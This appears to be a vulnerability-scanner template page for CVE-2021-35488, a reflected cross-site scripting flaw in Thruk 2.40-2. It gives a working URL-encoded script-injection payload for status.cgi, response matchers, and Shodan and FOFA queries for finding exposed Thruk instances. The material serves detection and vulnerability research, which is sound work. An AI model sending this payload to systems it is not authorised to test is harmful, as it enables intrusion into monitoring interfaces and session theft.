CVE-2021-35488: Thruk 2.40-2 - Cross-Site Scripting

2025-08-01 Thruk PoC Public

Description

Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.

PoC

id: CVE-2021-35488

info:
  name: Thruk 2.40-2 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Thruk or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.gruppotim.it/redteam
    - https://www.thruk.org/changelog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35488
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35488
    cwe-id: CWE-79
    epss-score: 0.02779
    epss-percentile: 0.85657
    cpe: cpe:2.3:a:thruk:thruk:2.40-2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thruk
    product: thruk
    shodan-query:
      - http.html:"Thruk"
      - http.html:"thruk"
    fofa-query:
      - body="thruk"
      - title=="thruk monitoring webinterface"
  tags: cve2021,cve,thruk,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "'></script><script>alert(document.domain)</script>"
          - "Thruk Monitoring"
        condition: and

      - type: status
        status:
          - 401
# digest: 490a00463044022025abbc18106c3a4099157d71926769591bee7d53b32013a94d8597697e62150502206b4e465903e73d936f690309485d4bee817c7e723c4deed5dde9d1d9ef5f6f25:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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